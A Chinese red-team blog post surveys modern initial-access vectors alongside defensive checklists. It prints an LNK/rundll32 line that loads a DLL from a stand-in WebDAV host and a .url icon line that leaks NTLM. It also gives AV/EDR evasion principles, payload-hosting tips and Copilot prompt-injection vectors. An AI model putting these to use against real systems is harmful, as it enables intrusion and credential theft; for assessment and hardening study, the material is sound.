Zumpyx's Blog

浅谈初始访问

initial-accessphishingidentityred-teamcloudMOTW

说明：本文由旧版 initial-access 英文笔记翻译、重组，并按 2025–2026 公开威胁趋势做了增补。只作浅谈——侧重思路与对抗面，不是逐步 exploit 教程；红队仅限授权评估，蓝队可用于加固优先级。

写在前面：初始访问变了什么

过去十年常见路径是「邮件附件宏 → 落地执行」。当前主流环境里：

  1. MOTW + 默认拦宏 让传统 Office 宏首发极不可靠。
  2. 身份层（OAuth / 会话 / Device Code） 往往比落地二进制更划算。
  3. AiTM 与 Device Code 钓鱼 已从 APT 手法变成 PhaaS 标配；2026 年 Device Code 相关检测量级公开报道呈数量级上升。
  4. 边缘设备 0day / Nday（VPN、文件网关、协作套件）可在「没有凭据」时直接进网。
  5. 合法远程运维软件（RMM） 与 帮助台社工 组合，绕过应用白名单与部分 EDR。

评估与防御都应按 「身份 → 边界 → 终端 → 供应链」 分层建模，而不是只盯邮件附件。

1. 初始访问向量总览

1.1 邮件与社工

方向 要点（2025–2026）
附件 直接可执行体基本死；相对更常见的是 PDF/HTML/SVG/ISO/IMG、OneNote、容器内 LNK
链接 域名年龄/分类/信誉、HTTPS、短路径；先「养域」再带载荷
HTML Smuggling 浏览器侧生成 Blob 下载，绕过部分网关对「响应体即载荷」的检测
日历/二维码 .ics 邀请、发票/简历 PDF 中的 Quishing，把受害者赶到手机浏览器完成 OAuth
宏现状 带 MOTW 的 Internet 源文档默认拦宏；需信任位置、容器剥离 MOTW、或彻底换向量
发送卫生 避免 no-reply；控制图文比与链接数；用真实中继链路；发出前做 spam 头/评分自检

仍值得记住的附件边缘格式（出厂策略覆盖不均时）：PPTM/PPSM/ACCDE、SVG 内嵌脚本、Office 远程模板注入（抓 NTLM，可不依赖宏）。

1.2 身份与 MFA 绕过（当前权重最高）

  • AiTM 反向代理钓鱼（Evilginx / EvilProxy / Tycoon 等）：用户在「看起来真」的链路上完成 MFA，攻击者截获会话 Cookie / 令牌，不是「只偷密码」。
  • Device Code 钓鱼：滥用 OAuth 设备授权流；受害者在 真实的 microsoft.com/devicelogin 输入攻击者生成的 code，批准后攻击者拿到 refresh token。不经过仿站密码框，对「只认登录页域名」的用户教育与部分网关策略都更难挡。
  • Consent / OAuth 应用授权钓鱼：诱导用户给恶意云应用过度 scope，形成基于令牌的持久访问。
  • MFA 疲劳 / 轰炸：推送轰炸 + 电话社工「帮你点一下」。
  • Browser-in-Browser (BitB)：像素级假 OAuth 窗，纯凭据窃取、可不落盘。
  • Passkey / WebAuthn：Evilginx 3.x 等已能代理部分流程；真正抗钓鱼仍依赖 origin 绑定的硬件密钥 / 平台认证器，不能假设「上了 passkey 就绝对安全」。
  • BEC：财务/供应商场景；深伪语音 CEO 欺诈在 2025–2026 仍是高频报道主题。

红队评估：优先测 Conditional Access 缺口（旧协议、受信任位置、未覆盖应用）、Device Code 是否被策略限制、管理员同意工作流是否强制。

蓝队优先：禁用/严格限制 Device Code；应用同意仅限已验证发布者 + 管理员审批；会话/令牌异常检测；钓鱼抗 MFA（FIDO2）；封禁基础认证/遗留协议。

1.3 边界与凭据复用

  • 密码喷射：O365 自定义登录页、VPN、SSO 门户
  • 单因素 VPN / 网关 / 暴露 RDP
  • 未修补边缘设备与默认口令（历史上 Ivanti、Citrix Bleed、MOVEit 等已证明「凭据之前就能 RCE」）
  • 外泄凭据撞库

维护一张 「野外在用的边界 CVE」 表，升级滞后时用 WAF/虚拟补丁兜底。

1.4 近源与无线

  • Evil Twin → 企业 WPA2-Enterprise → NetNTLMv2 → 内网认证后 Responder
  • 有线接入：Responder / mitm6 / ldaprelayx
  • HID 模拟 U 盘（少见但评估范围可保留）

1.5 SEO / 恶意广告

  • 搜索广告投毒（假 PuTTY、WinSCP 等）在 2024–2025 仍是装载器主要投递面之一
  • 结合「软件下载」心智，绕过邮件链路

1.6 供应链与开发者

  • npm / PyPI / Cargo 拼写劫持与 postinstall
  • 被投毒的 GitHub Actions、CI 密钥外带
  • 容器镜像投毒、curl | bash 安装脚本
  • Git 配置投毒（core.fsmonitor / hooks）、VS Code / JetBrains 插件供应链
  • 开发者工作站常是第一落点（云密钥、K8s 配置、源码）

1.7 云与 K8s 配置错误

  • 可写后执行的对象存储
  • SSRF → IMDS（仍多见 v1）窃取实例角色
  • 暴露的 K8s API / Argo CD、Azure SAS 泄露
  • OIDC 工作负载身份、STS 联邦令牌、Cognito 未认证身份池
  • Lambda 环境变量与 Function URL 鉴权问题

1.8 Entra ID / 协作套件 / 移动

  • PRT 窃取与持久 SSO
  • Conditional Access 缺口、跨租户 B2B 访客
  • Teams / Slack / Discord 恶意应用与过度 OAuth；Teams 外部消息默认可达时绕过邮件网关
  • SharePoint Framework 侧载
  • 短信钓鱼、WhatsApp/Telegram、恶意 MDM 描述文件、TestFlight 类侧载

1.9 合法软件「借壳」

RMM / 远程协助滥用（AnyDesk、TeamViewer、ConnectWise、Quick Assist 等）：

  • 社工安装「官方签名」远程工具
  • 绕过应用白名单与部分「只拦未知样本」的 EDR 策略
  • 常与垃圾邮件轰炸 + 电话社工组合制造紧迫感

1.10 AI 相关入口

  • 深伪语音/视频假冒高管或 IT
  • 企业 Copilot / RAG：文档投毒 → 提示注入
  • 投毒微调权重或浏览器侧恶意扩展污染 AI 工作流

1.11 仍有效的「旧」技术债

WinRM over HTTPS（5986）与 Channel Binding：若 CbtHardeningLevel 非 Strict，可能在「以为加固了」的情况下引入 NTLM 中继面。HTTP WinRM（5985）因 SPNEGO/通道绑定默认行为，中继条件不同——加固时不要想当然。

winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'

优先 Kerberos / 证书认证；收缩 NTLM。

Power Platform：过宽共享连接、经本地数据网关的 Power Query 原生 SQL 等，评估时不要漏。

2. 现代防御栈（攻击者要绕什么）

层 典型产品/能力
邮件安全 Defender for Office 365、各类 SEG
Web 网关 Zscaler、BlueCoat、下一代防火墙代理等
安全 DNS Umbrella、同类企业 DNS 过滤
AV / EDR MDE、CrowdStrike、SentinelOne、Carbon Black 等

防御速赢（蓝队清单）

邮件 / Web

  • Safe Links / Safe Attachments（或等价）
  • 禁止直下可执行类；未知文件沙箱

Office

  • 强制「阻止 Internet 宏（MOTW）」
  • 禁 XLL、未签名 COM 加载项、Excel 4.0 宏
  • ASR：拦 Office 子进程、Office 调 Win32 API、邮件/网页来源可执行内容、LSASS 凭据窃取等

浏览器

  • 扩展白名单；托管设备关开发者模式

身份

  • 强制 MFA，且尽量 抗钓鱼（FIDO2）
  • OAuth 同意治理；禁遗留认证
  • 监控 Device Code、异常刷新令牌、不可能旅行/新设备

终端

  • WDAC / Smart App Control / 应用允许列表
  • PowerShell CLM 例外审计 + Script Block 日志
  • WinRM：Kerberos/证书 + CBT Strict

3. 安全控件绕过思路（概要）

3.1 边界

Web 网关敏感：域名特征、抓取内容、MIME。绕过思路：高信誉云资源、HTML Smuggling、CDN/对象存储托管。

安全 DNS敏感：分类、注册时长、威胁情报、证书。绕过思路：高信誉云域、合法 CDN；投放前用信誉查询自检（如 Talos Reputation）。

3.2 终端 AV / EDR（原则级）

AV 链路大致：静态 → 启发式 → 云信誉/沙箱 → ML → 模拟 → 行为。

绕过原则（评估用语）：

  • 静态：定制、少复用公开样本
  • 信誉：信任签名体 + 侧载、容器投递
  • 沙箱：环境键控、延迟、合理用户行为
  • 行为：少扎堆敏感 API、低慢节奏；unhook/直接系统调用在部分环境仍有讨论价值

EDR 更深主题（虚拟化执行、Early Cascade、Sleep 混淆、调用栈伪造等）应单独立篇；本文只保留与初始访问投递链相关的部分。

4. 载荷托管

好的托管点应：看起来像正常文件站、受信 TLS、难被目标一刀切封锁。

  • 对象存储 / 网盘：OneDrive、SharePoint、S3、Azure Blob、GCS、Firebase
  • CDN / Serverless：Azure CDN、CloudFront、Cloudflare Workers、Lambda 等
  • 参考 LOTS Project（Living Off Trusted Sites）
  • 执行侧配合 LOLBAS：优先 DLL、间接执行、侧载 / COM / XLL
  • 关注微软应用控制相关「可绕过 WDAC 的应用」清单，避免评估与真实策略脱节

5. 感染向量与投递链

5.1 经典与平台差异

  • macOS：未签名应用仍可能「多点几下」通过；Office 宏 + 门禁约束更大；工具向可参考 Mystikal 等（仅授权环境）。
  • 载体优先考虑：LNK, CHM, CPL, DLL, MSI, HTML, SVG；宏 Office / 裸 ISO 作为「唯一一跳」越来越难。

5.2 抗 MOTW / 弱 MOTW 路径

WebDAV + LNK

经 WebDAV UNC 访问的文件在部分配置下 MOTW 标记弱或缺失。

典型链：

  1. HTTPS WebDAV 托管 DLL
  2. 邮件 / HTML Smuggling 投递 LNK
  3. LNK → rundll32 \\host@SSL\DavWWWRoot\evil.dll,Export
Target: C:\Windows\System32\rundll32.exe
Args:   \\attacker.example@SSL\DavWWWRoot\evil.dll,DllMain

search-ms: 协议处理程序

打开「像本地搜索结果」的远程位置；2024 年起相关滥用与 CVE-2024-21412 变种被广泛讨论。钓鱼页可直接链到 search-ms:。

.library-ms

XML 虚拟库指向 WebDAV/SMB，双击进资源管理器，审查面常弱于 ISO/ZIP。

.url 图标 NTLM

IconFile=\\attacker\share\icon.ico —— 预览即可触发认证，适合 Responder 捕获后破解或中继。

Office 远程模板注入

document.xml.rels 外置模板 → 打开即请求远程 → 无宏也可抓 NTLM；模板里再挂二阶段。

5.3 容器与 MOTW

Internet 下载文件带 MOTW；Office 默认可挡宏。部分容器解压时 不向内部文件传递 MOTW（ISO/IMG、部分 7z/CAB/VHD/WIM 等——以实测与 archiver-MOTW 对比 为准）。

Windows 11 22H2+：资源管理器双击挂载的 ISO 可能继承 MOTW；Mount-DiskImage 等路径行为需按版本验证。

5.4 成功链的「配方」

野外常见结构可抽象为：

投递(钓鱼链接/PDF) → HTML Smuggling → 容器(ISO/ZIP)
  → 触发器(LNK/CHM) → 载荷(侧载DLL / LOLBIN / MSI…) + 诱饵文档

示例思路（示意，非通用免杀）：

  • 侧载：合法签名 EXE + 恶意 DLL
  • rundll32 / 其他 LOLBIN 加载
  • MSI 静默安装、TRANSFORMS 打补丁包
  • ClickOnce 多文件打包进容器后再部署
  • 持久化：XLSTART 的 .xlam、Outlook VbaProject.OTM（路径与注册表需按版本校正）

宏策略提醒：AutoOpen 类首发在默认策略下成功率低；更现实的是「信任位置 / 加载项 / 后续 COM 劫持」或根本不走宏。

5.5 VBA 仍可能出现的位置（降级策略）

  • 执行：WScript.Shell、Shell.Application、过时但偶发可用的 RDS.DataSpace
  • 规避 ASR 时出现过的 new:CLSID 写法属于历史技巧，现网 ASR/AMSI 已大量覆盖，评估价值大于实战依赖
  • 避免在 VBA 里直接打显眼 WinAPI（CreateProcess 等）
  • DotNetToJScript、落地 dropper：前提仍是「宏/脚本能跑」——这是最大瓶颈

6. MSI / 安装包与可执行体（压缩要点）

MSI

  • 静默安装、自定义 Action、改造合法 MSI、MST 变换
  • 与 MOTW、SmartScreen、WDAC 的交互要单独测

现代应用包

  • MSIX / AppX 侧载策略因租户而异

PE / Shellcode

  • Donut、sRDI、pe2shc、Amber 等「EXE/DLL → shellcode」
  • 加载器与合法 PE 后门化、ScareCrow / Nim 打包等属于执行阶段，建议与本文拆分维护

7. 新兴与高价值专项

7.1 开发者定向

向量 机制 备注
Git 配置投毒 core.fsmonitor / hooksPath / filter clone/status 即执行；关注 CVE-2024-32002 等
VS Code 扩展 Marketplace 仿冒、vsix 侧载、postinstall 监控扩展目录与 code.exe 出网
JetBrains 插件 插件代码读项目与凭据 .env、云 CLI、SSH 密钥
包管理器 typosquat + postinstall lockfile、私有源、审计
Actions 恶意 Action / PR 工作流读 secrets 最小权限、禁止任意 fork PR 读密
容器 仿冒基础镜像 开发机挂载卷与环境变量外带

7.2 AI / LLM 初始访问

  • 深伪声纹 / 实时换脸：重置密码、授权 MFA、转账
  • 提示注入：投毒 SharePoint/Wiki 文档，诱导 Copilot 执行危险操作或泄露上下文
  • RAG 库投毒：改检索结果排序与内容
  • 对抗嵌入 / 隐写式指令（研究向，企业落地仍少但值得跟踪）

7.3 社工 2.0

  • 垃圾邮件轰炸 → 电话「IT 支援」→ Quick Assist / RMM
  • 帮助台：重置密码、改 MFA、加设备
  • LLM 批量定制钓鱼信与多轮对话

7.4 云身份演进

  • Stealer 专注浏览器 Cookie、密码库、.aws/credentials、.kube/config
  • 会话重放、OAuth 令牌、GitHub 泄露密钥
  • 跨租户 B2B、联邦 SAML、MSP 信任关系
  • Entra ID：PRT（roadtx / ROADtools / AADInternals）、CA 绕过、Graph 枚举与邮箱/SPO 搜索（GraphRunner 等）
  • AWS：IMDSv1 SSRF、Cognito 未认证池、Lambda 环境、S3 子域接管

7.5 协作与移动

  • 恶意 Teams 应用、外部租户私信
  • 短信 / 即时通讯 + 移动浏览器 OAuth
  • 恶意 MDM 描述文件

8. C2 与后置阶段（仅边界）

初始访问成功后的控制面建议与投递解耦：

  • 两阶段：一阶段极瘦、只做环境感知；二阶段内存加载、功能完整
  • 框架举例：Mythic 生态（Windows / Linux / macOS Agent 各异）、商业 C2 等——选型随行动约束变化
  • 重定向器、域前置、流量 profile 见站内《C2 监听器重定向架构》一类文章，本文不展开

9. 红队自检清单（精简）

  1. 是否仍在依赖「宏一键上线」？若是，对标现网策略重做。
  2. 身份路径：Device Code、AiTM、OAuth Consent、CA 缺口是否测全？
  3. 投递：MOTW 链是否在目标 Windows 版本上复测？
  4. 托管：是否 LOTS、信誉、HTTPS、少指纹路径？
  5. 边界 0day/Nday 与默认口令是否在范围内？
  6. 开发者与 CI、RMM 社工是否写进场景？
  7. 遥测：邮件网关、IdP 日志、EDR 是否覆盖你的链？——红队要会「预期告警」。

10. 蓝队优先级（精简）

  1. 身份：抗钓鱼 MFA、限制 Device Code、应用同意治理、令牌/会话检测。
  2. 邮件/Web：Safe 系列、可执行体策略、沙箱。
  3. Office/ASR/MOTW：默认加固不要开豁免口子。
  4. RMM：仅允许企业版、应用控制、异常远程会话告警。
  5. 边缘设备：补丁 SLA + 虚拟补丁。
  6. 开发者：私有包源、Actions 权限、扩展白名单。
  7. 云：IMDSv2、最小 IAM、CA 全覆盖、禁用遗留认证。

参考与延伸

  • LOTS：https://lots-project.com/
  • LOLBAS：https://lolbas-project.github.io/
  • MOTW 与压缩格式行为对比（社区维护）
  • Microsoft：ASR、WDAC、Defender for Office 365 文档
  • 身份工具生态：ROADtools、AADInternals、GraphRunner、roadtx 等（仅授权评估）
  • 公开趋势：Device Code / AiTM PhaaS 在 2025–2026 的规模化（安全厂商年度报告与 IR 统计）

修订说明

项 处理
原文 英文长篇 bullet 笔记 initial-access.md
语言 全文中文技术表述
结构 按「向量 → 防御栈 → 绕过 → 投递链 → 专项 → 清单」重组
更新 强调 Device Code、AiTM 商品化、RMM 社工、开发者供应链、AI 社工与提示注入；弱化「宏为主」叙事
删减 指向站外缺失文档的死链段落改为原则级说明；过长重复列表合并为表格
未做 不包含可直接复制的武器化 exploit；Maldev Academy 课程不在本文范围